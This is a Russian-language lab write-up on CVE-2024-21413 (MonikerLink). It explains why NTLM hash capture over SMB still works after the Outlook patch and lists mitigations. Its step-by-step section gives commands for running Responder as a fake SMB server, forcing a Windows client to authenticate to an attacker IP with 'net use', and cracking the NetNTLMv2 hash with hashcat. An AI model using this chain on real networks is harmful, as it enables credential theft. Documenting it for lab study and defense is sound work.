Лаборатория SMB + Responder (CVE-2024-21413)

🎯 Цель

Этот проект был направлен на изучение уязвимости CVE-2024-21413 (MonikerLink), исследуя, как протокол SMB/NTLM может быть использован для перехвата учетных данных.
Даже после официального исправления Microsoft лабораторная работа показывает, что концепция остается актуальной во внутренних сценариях.

📖 Теория эксплойта

Уязвимость (CVE-2024-21413), известная как MonikerLink, была классифицирована как критическая (CVSS 9.8). Это происходит потому, что Outlook небезопасно обрабатывал ссылки "file://", используя старые COM-API (объекты Moniker). Эти объекты позволяли Outlook вызывать внешние ресурсы, минуя Protected View, побуждая клиента автоматически инициировать SMB-соединения.

1. Что такое Moniker Link?

Это функция Windows, позволяющая ссылаться на COM-объекты через специальные ссылки.

2. Как Outlook обрабатывал file://

Оригинальный эксплойт злоупотреблял ссылками "file://" или UNC-путями, отправленными по электронной почте.

3. Как происходил обход с помощью "!"

Добавляя символ "!" в ссылку, можно было обойти внутренние защиты Outlook, принудительно открывая внешний ресурс напрямую.

4. Как NTLM раскрывался

Это приводило к автоматической аутентификации NTLM, раскрывая хэши NetNTLMv2 атакующему без значительного взаимодействия с пользователем.

5. Что исправляет патч

Патч KB5002519 специально блокирует такое поведение в Outlook, предотвращая обработку ссылок "file://" таким образом.

6. Что патч НЕ исправляет

Однако автоматический NTLM в Windows продолжает работать вне контекста Outlook, то есть любая попытка доступа к SMB-ресурсам в среде, где NTLM включен и нет ограничений аутентификации, все еще может привести к автоматической отправке хэшей.

📌 Связь между Outlook, SMB/NTLM и Responder Оригинальный эксплойт: через спам-письмо с вредоносной ссылкой → Outlook обрабатывал → NTLM аутентифицировал автоматически → атакующий получал хэш.

Внутренняя лаборатория: мы смоделировали только концептуальную часть → принудительно установили SMB-соединение → Responder захватил хэш → Hashcat выполнил взлом.

Почему это все еще работает? Потому что NTLM — это устаревший протокол, который автоматически аутентифицируется при SMB-соединениях, независимо от Outlook. Патч исправляет клиент Outlook, но не устраняет поведение NTLM в Windows

🏗️ Архитектура лаборатории

• Атакующий: Kali Linux с Responder и Hashcat.
• Жертва: Windows с установленным Outlook.
• Сеть: симулированная локальная сеть, без внешнего доступа.
• Инструменты:
  • Responder → для отравления протоколов и захвата хэшей.
  • Hashcat → для офлайн-взлома захваченных хэшей.

🛡️ Патч Outlook

Во время тестов Outlook блокировал ссылки file://, приходящие по электронной почте, отображая предупреждение безопасности:

Примечание

Патч KB5002519, выпущенный в феврале 2024 года, смягчает внешний вектор через электронную почту, блокируя ссылки file://.
Однако протокол NTLM по-прежнему позволяет автоматическую аутентификацию при SMB-соединениях.
Это означает, что хотя Outlook защищен от данного конкретного эксплойта, внутренняя поверхность атаки остается актуальной.
Корень проблемы заключается в зависимости от NTLM как механизма аутентификации, который по-прежнему подвержен захвату хэшей при SMB-соединениях.

📊 Показатели риска

• CVE: CVE-2024-21413
• CVSS: 9.8 (Критический)
• Влияние: RCE + утечка учетных данных
• Вектор: Внешний (Outlook) и внутренний (SMB/NTLM)
• Рекомендуемое смягчение:
  • Применить патч KB5002519.
  • Отключить NTLM там, где это возможно.
  • Принудительно использовать Kerberos в средах AD.
  • Внедрить MFA и надежные пароли.

📚 Выводы

1. Патч Outlook блокирует только клики по внешним ссылкам.
2. SMB/NTLM по-прежнему является поверхностью атаки внутри сети.
3. Хэши NetNTLMv2 могут быть захвачены и взломаны офлайн.
4. Слабые пароли легко находятся в стандартных словарях.
5. Даже с официальным исправлением уязвимость сохраняет актуальность во внутренних сценариях.

📌 Пошаговая инструкция

1. Запуск Responder Здесь мы запускаем Responder на сетевом интерфейсе Kali. Он действует как поддельный SMB-сервер, готовый отвечать на запросы жертвы и захватывать учетные данные NTLM. Этот шаг необходим для подготовки среды отравления протоколов и перехвата. Команда в Kali Linux:

sudo responder -I eth0

2. Принуждение к SMB-соединению
   В Windows мы вручную обращаемся к SMB-ресурсу, указывая IP атакующего. Этот доступ вынуждает клиент Windows попытаться автоматически аутентифицироваться через NTLM, отправляя хэш на поддельный сервер (Responder). Именно в этот момент происходит первоначальное раскрытие учетных данных. Мы можем принудительно установить SMB-соединение двумя способами:

Через Проводник, вручную перейдя по адресу:

\\<IP do atacante>\test.

Через терминал (cmd или PowerShell), используя команду:

net use \\<IP do atacante>\test

3. Захват хэша
   Responder перехватывает попытку аутентификации и сохраняет хэш NTLMv2 в файл журнала в /usr/share/responder/logs/. Этот файл содержит исходные данные, которые будут использованы для взлома. Здесь мы демонстрируем уязвимость: даже без пароля в открытом виде хэш может быть захвачен и использован повторно.

/usr/share/responder/logs/SMB-NTLMv2-SSP-<IP>.txt

4. Взлом с помощью Hashcat
   Перед запуском Hashcat мы копируем хэш из журнала в файл в нашей домашней директории (~/hash.txt). Это упрощает работу и гарантирует, что Hashcat имеет прямой доступ к содержимому. Затем запускаем Hashcat в режиме 5600 (NetNTLMv2) со словарем rockyou.txt. Этот процесс пытается взломать хэш офлайн, демонстрируя, как слабые пароли могут быть быстро обнаружены. Результат показывает, был ли найден пароль, что свидетельствует о реальном риске уязвимости.

hashcat -m 5600 -a 0 ~/hash.txt /usr/share/wordlists/rockyou.txt

Примечание:
Реальный пароль не отображается по соображениям безопасности. Цель — продемонстрировать процесс и уязвимость.

✅ Заключение

Эта лабораторная работа показала, что:

• Эксплойт через Outlook был заблокирован патчем.
• Тем не менее, можно вручную захватывать и взламывать SMB-хэши.
• Уязвимость по-прежнему актуальна как концепция, подчеркивая важность внутреннего укрепления, надежных паролей и перехода на Kerberos/токен-аутентификацию.